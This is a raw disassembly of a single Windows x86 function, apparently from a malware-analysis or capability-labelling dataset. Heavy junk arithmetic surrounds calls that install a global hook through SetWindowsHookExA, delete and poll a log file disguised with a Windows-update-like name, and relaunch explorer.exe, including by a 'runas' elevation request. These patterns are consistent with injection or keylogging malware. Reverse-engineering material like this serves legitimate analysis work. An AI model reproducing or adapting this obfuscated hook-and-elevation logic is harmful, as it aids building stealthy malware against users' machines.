Function at 0x411ee0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.00430240
mov eax, dword [0x45e640]
mov dword [esp + 0x1068], eax
push ebx
push esi
push edi
mov ecx, dword [0x45cccc]
mov eax, 0x3b87af8d
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xe0e0bbb3
imul dword [0x45ccd4]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov dword [esp + 0xc], eax
mov eax, 0x1f1f444d
imul ecx
mov eax, dword [esp + 0xc]
sar edx, 0x14
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x61fd3f09
imul dword [0x45ccd4]
sar edx, 0x15
add ebx, edx
mov eax, edx
mov esi, dword [0x45cce8]
shr eax, 0x1f
add eax, ebx
mov ebx, dword [0x45ccdc]
mov edi, esi
imul ebx, ebx, 0x5184aa
mov edx, ecx
imul edi, edi, 0x569052
imul edx, edx, 0x530e8f
add edx, edi
add edx, eax
mov eax, dword [ebp + 8]
add ebx, edx
cmp eax, 0x132b600
mov dword [esp + 0x14], 0
mov dword [str._r_____r____], ebx
je 0x412045
mov ecx, dword [0x45ccd0]
mov eax, 0x26bae4e5
imul ecx
mov ecx, dword [0x45ccd8]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xd0d507c9
imul ecx
add edx, ecx
imul ecx, ecx, 0x839c4a
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x1f1f444d
imul dword [0x45ccdc]
mov eax, dword [0x45cce4]
sub ebx, esi
add ebx, ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0x5184aa
sub ebx, ecx
add ebx, edx
sub ebx, eax
lea eax, [ebx + edi - 0x273a49]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x45ccd0], eax
mov esi, 0x64
push 0x3e8
call edi
dec esi
jne 0x412026
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042fa01
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x45ccd0]
mov eax, dword [0x45ccdc]
imul eax, eax, 0x273a49
lea edi, [edx + ecx]
imul edi, edi, 0x44ce3d
add edi, eax
mov eax, 0x1f1f444d
imul dword [0x45cce4]
sar edx, 0x14
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov dword [esp + 0xc], eax
mov eax, 0x61fd3f09
imul dword [0x45cce4]
mov eax, dword [esp + 0xc]
sar edx, 0x15
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, dword [0x45cce0]
imul eax, eax, 0x6489e9
add edi, eax
mov eax, 0x647e2ce7
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [section.dfsaewr4]
test eax, eax
mov dword [0x45ccdc], edi
je 0x41215c
mov ecx, dword [0x45ccc8]
mov esi, dword [0x45cce0]
imul ecx, ecx, 0x273a49
imul esi, esi, 0x11c215
add esi, ecx
mov ecx, dword [0x45ccd0]
mov eax, 0xd0d507c9
imul ecx
add edx, ecx
sar edx, 0x15
add esi, edx
mov edi, edx
mov eax, 0xc5432eb
imul ecx
sar edx, 0x12
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov eax, 0xa2f64c79
imul ecx
add edx, ecx
shr esi, 0x1f
sar edx, 0x16
add esi, edi
add esi, edx
mov ecx, edx
mov eax, 0x647e2ce7
imul dword [0x45cce4]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
shr ecx, 0x1f
add eax, edx
add ecx, esi
sub ecx, eax
mov dword [0x45ccc8], ecx
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.0042fa01
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x45ccd8]
add ebx, edx
mov eax, 0x54a93351
imul ebx, ebx, 0x5184aa
imul edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x61fd3f09
imul edi
sar edx, 0x15
add ebx, edx
mov eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x5399dc
shr eax, 0x1f
add eax, ebx
add edx, dword [0x45cce0]
mov ebx, edi
imul ebx, ebx, 0x530e8f
add edx, eax
lea eax, [ebx + edx - 0x273a49]
mov ebx, dword [0x45ccd0]
mov dword [0x45ccd4], eax
mov edi, edi
lea eax, [ebx + esi]
imul eax, eax, 0x34e0fb
mov dword [esp + 0xc], eax
mov eax, 0x26bae4e5
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov dword [esp + 0xc], edx
mov eax, 0x3b87af8d
imul esi
mov eax, dword [esp + 0xc]
sar edx, 0x14
add eax, edx
mov ebx, edx
mov edx, edi
imul edx, edx, 0x273a49
shr ebx, 0x1f
add ebx, eax
mov eax, dword [0x45ccd4]
sub ebx, edx
imul eax, eax, 0x569052
mov edx, dword [0x45ccd8]
imul edx, edx, 0x6489e9
sub ebx, eax
mov eax, dword [ebp + 0x10]
add ebx, edx
test eax, eax
mov dword [0x45cce0], ebx
jg 0x412382
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x412382
lea edx, [eax + 1]
mov dword [esp + 0xc], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x412247
sub eax, dword [esp + 0xc]
mov dword [esp + 0x10], eax
je 0x412382
mov edi, dword [0x45cce4]
imul esi, esi, 0x569052
imul ebx, ebx, 0x530e8f
imul edi, edi, 0x273a49
mov eax, 0x54a93351
imul ecx
mov ecx, dword [0x45ccd4]
sar edx, 0x13
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov dword [esp + 0xc], eax
mov eax, 0x61fd3f09
imul ecx
mov eax, dword [esp + 0xc]
sar edx, 0x15
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, 0x647e2ce7
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x15
sub edi, esi
mov eax, edx
shr eax, 0x1f
add edi, ebx
add edi, edx
add eax, edi
sub eax, ecx
mov ecx, dword [ebp + 0x14]
push ecx
add eax, 0x34e0fb
push 0
mov dword [0x45cccc], eax
call fcn.0040eeb0
add esp, 8
test eax, eax
mov dword [esp + 0xc], eax
jle 0x412ecd
mov edx, dword [0x45ccc8]
mov eax, dword [0x45ccd4]
mov ecx, dword [str._r_____r____]
lea esi, [edx + eax]
mov eax, 0x26bae4e5
imul esi, esi, 0x1830cc
imul ecx
imul ecx, ecx, 0x5399dc
sar edx, 0x13
add esi, edx
mov edi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45ccd8]
mov eax, 0x3b87af8d
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce4]
sub edi, eax
mov eax, 0x1f1f444d
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x61fd3f09
imul esi
mov esi, dword [0x45cce8]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x45cccc]
mov dword [0x45cce4], edi
mov edi, dword [0x45ccdc]
jmp 0x41240a
mov ebx, dword [0x45ccd0]
mov edx, dword [0x45ccd8]
mov eax, dword [0x45cce4]
imul eax, eax, 0x273a49
lea esi, [edx + ebx]
imul ebx, ebx, 0x5399dc
imul esi, esi, 0x530e8f
sub esi, eax
mov eax, 0x54a93351
imul dword [0x45ccc8]
sar edx, 0x13
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov dword [esp + 0xc], eax
mov eax, 0x61fd3f09
imul dword [0x45ccc8]
mov eax, dword [esp + 0xc]
sar edx, 0x15
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
sub esi, ebx
mov ebx, dword [str._r_____r____]
mov eax, 0xa2f64c79
imul ebx
add edx, ebx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp + 0x10]
sub esi, eax
mov dword [0x45cce8], esi
mov dword [esp + 0xc], edx
mov eax, 0x3b87af8d
imul esi, esi, 0x569052
imul edi, edi, 0x5184aa
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xe0e0bbb3
imul dword [0x45ccd4]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov dword [esp + 0x10], eax
mov eax, 0x1f1f444d
imul ecx
imul ecx, ecx, 0x530e8f
mov eax, dword [esp + 0x10]
sar edx, 0x14
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x61fd3f09
imul dword [0x45ccd4]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, esi
add eax, ecx
add eax, edi
push str.c:WINDoWSKB5445243.log
mov dword [str._r_____r____], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x45ccc8]
mov esi, dword [0x45cce0]
imul ecx, ecx, 0x273a49
imul esi, esi, 0x11c215
add esi, ecx
mov ecx, dword [0x45ccd0]
mov eax, 0xd0d507c9
imul ecx
add edx, ecx
sar edx, 0x15
add esi, edx
mov edi, edx
mov eax, 0xc5432eb
imul ecx
sar edx, 0x12
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov eax, 0xa2f64c79
imul ecx
add edx, ecx
mov ecx, dword [0x45cce4]
sar edx, 0x16
shr esi, 0x1f
add esi, edi
add esi, edx
mov edi, edx
mov eax, 0x647e2ce7
imul ecx
mov ecx, dword [esp + 0xc]
sar edx, 0x15
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
mov edx, dword [0x5707ec]
add edi, esi
sub edi, eax
push ecx
mov dword [0x45ccc8], edi
push edx
mov eax, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push eax
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.dfsaewr4], eax
je 0x412f68
mov ecx, dword [0x45ccd0]
mov eax, 0x26bae4e5
imul ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x45ccd8]
mov eax, 0xd0d507c9
imul ecx
add edx, ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x839c4a
mov ebx, dword [0x45ccc8]
mov esi, eax
sub esi, edi
mov edi, dword [0x45cce8]
add esi, edx
mov eax, 0x1f1f444d
imul dword [0x45ccdc]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edx, edi
imul edx, edx, 0x569052
mov eax, ebx
imul eax, eax, 0x5184aa
add esi, edx
mov edx, dword [0x45cce4]
add esi, eax
sub esi, edx
sub esi, 0x273a49
mov dword [0x5707f0], 1
mov dword [esp + 0xc], 0
jmp 0x4125e3
mov edi, dword [0x45cce8]
mov esi, dword [0x45ccd0]
mov ecx, dword [0x45ccd8]
mov ebx, dword [0x45ccc8]
mov eax, 0x26bae4e5
imul edi, edi, 0x569052
imul ebx, ebx, 0x5184aa
imul esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xd0d507c9
imul ecx
add edx, ecx
imul ecx, ecx, 0x839c4a
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
add eax, ecx
mov esi, eax
mov eax, 0x1f1f444d
imul dword [0x45ccdc]
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
add esi, edi
add esi, ebx
sub esi, dword [0x45cce4]
sub esi, 0x273a49
push str.c:WINDoWSKB5445243.log
mov dword [0x45ccd0], esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x41267a
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x12c
mov dword [esp + 0xc], eax
jl 0x4125cb
mov ecx, dword [0x45cce0]
mov esi, dword [0x45cce8]
mov eax, 0x54a93351
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, dword [0x45ccc8]
imul eax, eax, 0x5399dc
mov edi, esi
imul edi, edi, 0x273a49
mov edx, ecx
imul edx, edx, 0x1830cc
sub ebx, edi
mov edi, dword [0x45ccd4]
add ebx, edx
add ebx, eax
mov eax, 0x61fd3f09
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xbd455a63
imul esi
add edx, esi
sar edx, 0x16
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0xc5432eb
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
cmp dword [esp + 0xc], 0x12c
mov dword [0x45ccd8], ebx
jl 0x412ffd
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x412ffd
mov esi, dword [0x45cccc]
imul ecx, ecx, 0x6489e9
mov edx, dword [0x45ccd0]
mov eax, dword [0x45ccdc]
mov edi, dword [0x45cce4]
imul eax, eax, 0x273a49
lea ebx, [edx + esi]
imul ebx, ebx, 0x44ce3d
add ebx, eax
mov eax, 0x1f1f444d
imul edi
sar edx, 0x14
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x61fd3f09
imul edi
sar edx, 0x15
mov edi, edx
add ebx, edx
mov eax, 0x647e2ce7
imul esi
shr edi, 0x1f
sar edx, 0x15
add edi, ebx
add edi, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 0x800
lea edx, [esp + 0x74]
sub edi, ecx
push edx
mov dword [0x45ccdc], edi
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45cce8]
mov eax, dword [0x45ccd0]
mov edx, dword [0x45cccc]
lea esi, [eax + ecx]
mov eax, 0x26bae4e5
imul esi, esi, 0x34e0fb
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b87af8d
imul ecx
mov eax, dword [0x45ccd4]
sar edx, 0x14
imul eax, eax, 0x569052
mov ecx, edx
add esi, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x273a49
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
mov edx, dword [0x45ccd8]
imul edx, edx, 0x6489e9
sub ecx, eax
add ecx, edx
lea eax, [esp + 0x70]
push eax
mov dword [0x45cce0], ecx
lea ecx, [esp + 0x874]
push str._sexplorer.exe
push ecx
call fcn.0042fbd1
lea edx, [esp + 0x87c]
push 0
push edx
call fcn.0042ff6d
add esp, 0x14
cmp eax, 0xffffffff
je 0x412e42
mov eax, dword [0x45ccd4]
mov ecx, dword [0x45ccc8]
lea esi, [ecx + eax]
mov ecx, dword [str._r_____r____]
imul esi, esi, 0x1830cc
mov eax, 0x26bae4e5
imul ecx
imul ecx, ecx, 0x5399dc
sar edx, 0x13
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45ccd8]
mov eax, 0x3b87af8d
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce4]
sub edi, eax
mov eax, 0x1f1f444d
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x61fd3f09
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
push str.explorer.exe
mov dword [0x45cce4], edi
call fcn.00406370
mov esi, dword [0x45ccd0]
mov ecx, dword [0x45ccd8]
mov edx, dword [0x45cce4]
lea edi, [ecx + esi]
imul edx, edx, 0x273a49
imul esi, esi, 0x5399dc
mov ecx, dword [0x45ccc8]
imul edi, edi, 0x530e8f
sub edi, edx
mov eax, 0x54a93351
imul ecx
sar edx, 0x13
add edi, edx
mov ebx, edx
mov eax, 0x61fd3f09
imul ecx
sar edx, 0x15
shr ebx, 0x1f
mov ecx, edx
add ebx, edi
add ebx, edx
shr ecx, 0x1f
add ecx, ebx
sub ecx, esi
mov esi, dword [str._r_____r____]
mov eax, 0xa2f64c79
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 4
sub ecx, eax
mov dword [0x45cce8], ecx
mov dword [esp + 0xc], 5
jmp 0x412960
mov ecx, dword [0x45cce8]
lea esp, [esp]
mov esi, dword [0x45cccc]
imul ecx, ecx, 0x569052
mov edi, dword [0x45ccd4]
mov eax, 0x3b87af8d
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xe0e0bbb3
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov dword [esp + 0x10], eax
mov eax, 0x1f1f444d
imul esi
imul esi, esi, 0x530e8f
mov eax, dword [esp + 0x10]
sar edx, 0x14
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x61fd3f09
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov ecx, dword [0x45ccdc]
imul ecx, ecx, 0x5184aa
add eax, esi
add eax, ecx
push str.explorer.exe
mov dword [str._r_____r____], eax
call fcn.00405d60
add esp, 4
test eax, eax
jg 0x412daf
mov edx, dword [0x45ccc8]
mov ecx, dword [0x45cce0]
imul edx, edx, 0x273a49
mov ebx, dword [0x45ccd0]
imul ecx, ecx, 0x11c215
add ecx, edx
mov eax, 0xd0d507c9
imul ebx
add edx, ebx
sar edx, 0x15
add ecx, edx
mov esi, edx
mov eax, 0xc5432eb
imul ebx
sar edx, 0x12
shr esi, 0x1f
add esi, ecx
add esi, edx
mov ecx, edx
mov eax, 0xa2f64c79
imul ebx
add edx, ebx
sar edx, 0x16
shr ecx, 0x1f
add ecx, esi
add ecx, edx
mov esi, edx
mov eax, 0x647e2ce7
imul dword [0x45cce4]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cccc]
shr esi, 0x1f
add esi, ecx
sub esi, eax
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov edi, dword [0x45cce4]
imul edi, edi, 0x273a49
mov eax, 0x54a93351
imul edx
sar edx, 0x13
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov dword [esp + 0x10], eax
mov eax, 0x61fd3f09
imul dword [0x45ccd4]
mov eax, dword [esp + 0x10]
sar edx, 0x15
add eax, edx
mov ecx, dword [0x45cce8]
mov edi, edx
imul ecx, ecx, 0x569052
shr edi, 0x1f
add edi, eax
mov eax, dword [0x45cce0]
imul eax, eax, 0x530e8f
add edi, eax
mov eax, 0x647e2ce7
imul dword [0x45ccd4]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [str._r_____r____]
sub eax, ecx
sub eax, edi
add eax, 0x34e0fb
mov dword [0x45cccc], eax
mov dword [0x45ccc8], esi
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
mov eax, 0x26bae4e5
imul ebx
imul esi, esi, 0x5184aa
mov edi, dword [0x45ccd8]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xd0d507c9
imul edi
add edx, edi
imul edi, edi, 0x839c4a
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
sub eax, ebx
add eax, edi
mov ebx, eax
mov eax, 0x1f1f444d
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x45cce4]
add ebx, esi
sub ebx, eax
lea ecx, [ebx + ecx - 0x273a49]
lea edx, [esp + 0x60]
push edx
lea eax, [esp + 0x1c]
push eax
mov dword [0x45ccd0], ecx
lea ecx, [esp + 0x78]
push ecx
push 0
push 0x20
push 0
push 0
push 0
lea edx, [esp + 0x890]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x412c21
mov ecx, dword [str._r_____r____]
mov eax, dword [0x45ccd8]
mov esi, dword [0x45ccdc]
lea edi, [eax + ecx]
mov eax, 0x54a93351
imul edi, edi, 0x5184aa
imul esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov ebx, dword [0x45cce0]
mov eax, 0x61fd3f09
imul esi
imul esi, esi, 0x530e8f
sar edx, 0x15
mov eax, edx
add edi, edx
mov edx, ecx
imul edx, edx, 0x5399dc
shr eax, 0x1f
add eax, edi
add edx, ebx
add edx, eax
lea eax, [esi + edx - 0x273a49]
mov dword [0x45ccd4], eax
jmp 0x412db5
mov esi, dword [0x45cce0]
mov ecx, dword [0x45cce8]
mov eax, 0x54a93351
imul esi
imul esi, esi, 0x1830cc
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
mov edi, ecx
imul edx, edx, 0x5399dc
mov ebx, eax
imul edi, edi, 0x273a49
sub ebx, edi
add ebx, esi
add ebx, edx
mov edx, dword [0x45ccd4]
mov eax, 0x61fd3f09
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xbd455a63
imul ecx
add edx, ecx
sar edx, 0x16
mov esi, edx
add ebx, edx
mov eax, 0xc5432eb
imul ecx
sar edx, 0x12
mov ecx, edx
push 1
shr ecx, 0x1f
add ecx, edx
lea edx, [esp + 0x74]
push edx
push 0
lea eax, [esp + 0x87c]
shr esi, 0x1f
push eax
add esi, ebx
push str.runas
sub esi, ecx
push 0
mov dword [0x45ccd8], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov edx, dword [0x45ccd0]
jg 0x412d45
mov ecx, dword [0x45cccc]
mov eax, dword [0x45ccdc]
mov esi, dword [0x45cce4]
imul eax, eax, 0x273a49
lea edi, [edx + ecx]
imul edi, edi, 0x44ce3d
add edi, eax
mov eax, 0x1f1f444d
imul esi
sar edx, 0x14
add edi, edx
mov ebx, edx
mov eax, 0x61fd3f09
imul esi
sar edx, 0x15
shr ebx, 0x1f
mov esi, edx
add ebx, edi
add ebx, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x6489e9
shr esi, 0x1f
add esi, ebx
add esi, edx
mov eax, 0x647e2ce7
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov dword [0x45ccdc], esi
jmp 0x412daf
mov ecx, dword [0x45cce8]
lea esi, [edx + ecx]
mov edx, dword [0x45cccc]
imul esi, esi, 0x34e0fb
mov eax, 0x26bae4e5
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b87af8d
imul ecx
mov eax, dword [0x45ccd4]
sar edx, 0x14
imul eax, eax, 0x569052
add esi, edx
mov ecx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x273a49
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
mov edx, dword [0x45ccd8]
imul edx, edx, 0x6489e9
sub ecx, eax
add ecx, edx
mov dword [0x45cce0], ecx
mov ecx, dword [str._r_____r____]
mov eax, dword [0x45ccc8]
mov edx, dword [0x45ccd4]
lea esi, [eax + edx]
mov eax, 0x26bae4e5
imul esi, esi, 0x1830cc
imul ecx
imul ecx, ecx, 0x5399dc
sar edx, 0x13
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45ccd8]
mov eax, 0x3b87af8d
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x1f1f444d
imul dword [0x45cce4]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x61fd3f09
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
push 0x3e8
mov dword [0x45cce4], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0xc]
jne 0x412956
mov ebx, dword [0x45ccd0]
mov ecx, dword [0x45ccd8]
mov edx, dword [0x45cce4]
lea esi, [ecx + ebx]
imul edx, edx, 0x273a49
mov ecx, dword [0x45ccc8]
imul esi, esi, 0x530e8f
sub esi, edx
mov eax, 0x54a93351
imul ecx
sar edx, 0x13
add esi, edx
mov edi, edx
mov eax, 0x61fd3f09
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x15
mov eax, ebx
imul eax, eax, 0x5399dc
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
mov edi, dword [0x45ccdc]
sub esi, eax
mov eax, 0xa2f64c79
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45cccc]
mov dword [0x45cce8], esi
jmp 0x4121c0
mov esi, dword [0x45cce0]
mov ecx, dword [0x45cce8]
mov eax, 0x54a93351
imul esi
imul esi, esi, 0x1830cc
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
mov edi, ecx
imul edx, edx, 0x5399dc
imul edi, edi, 0x273a49
mov ebx, eax
sub ebx, edi
add ebx, esi
add ebx, edx
mov edx, dword [0x45ccd4]
mov eax, 0x61fd3f09
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xbd455a63
imul ecx
add edx, ecx
sar edx, 0x16
add ebx, edx
mov esi, edx
mov eax, 0xc5432eb
imul ecx
sar edx, 0x12
shr esi, 0x1f
mov ecx, edx
shr ecx, 0x1f
add esi, ebx
add ecx, edx
sub esi, ecx
mov dword [0x45ccd8], esi
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042fa01
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x45cccc]
mov esi, dword [0x45cce4]
imul esi, esi, 0x273a49
mov eax, 0x54a93351
imul ecx
mov ecx, dword [0x45ccd4]
sar edx, 0x13
add esi, edx
mov edi, edx
mov eax, 0x61fd3f09
imul ecx
mov eax, dword [0x45cce0]
sar edx, 0x15
imul eax, eax, 0x530e8f
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0x569052
shr esi, 0x1f
add esi, edi
sub esi, edx
add esi, eax
mov eax, 0x647e2ce7
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add ecx, esi
sub ecx, edx
add ecx, 0x34e0fb
mov dword [0x45cccc], ecx
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042fa01
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x45cccc]
imul esi, esi, 0x569052
mov eax, 0x3b87af8d
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xe0e0bbb3
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov dword [esp + 0x10], eax
mov eax, 0x1f1f444d
imul ecx
imul ecx, ecx, 0x530e8f
mov eax, dword [esp + 0x10]
sar edx, 0x14
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x61fd3f09
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, esi
add eax, ecx
mov ecx, dword [0x45ccdc]
imul ecx, ecx, 0x5184aa
add eax, ecx
mov ecx, dword [esp + 0x1074]
mov dword [str._r_____r____], eax
mov eax, 1
call fcn.0042fa01
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret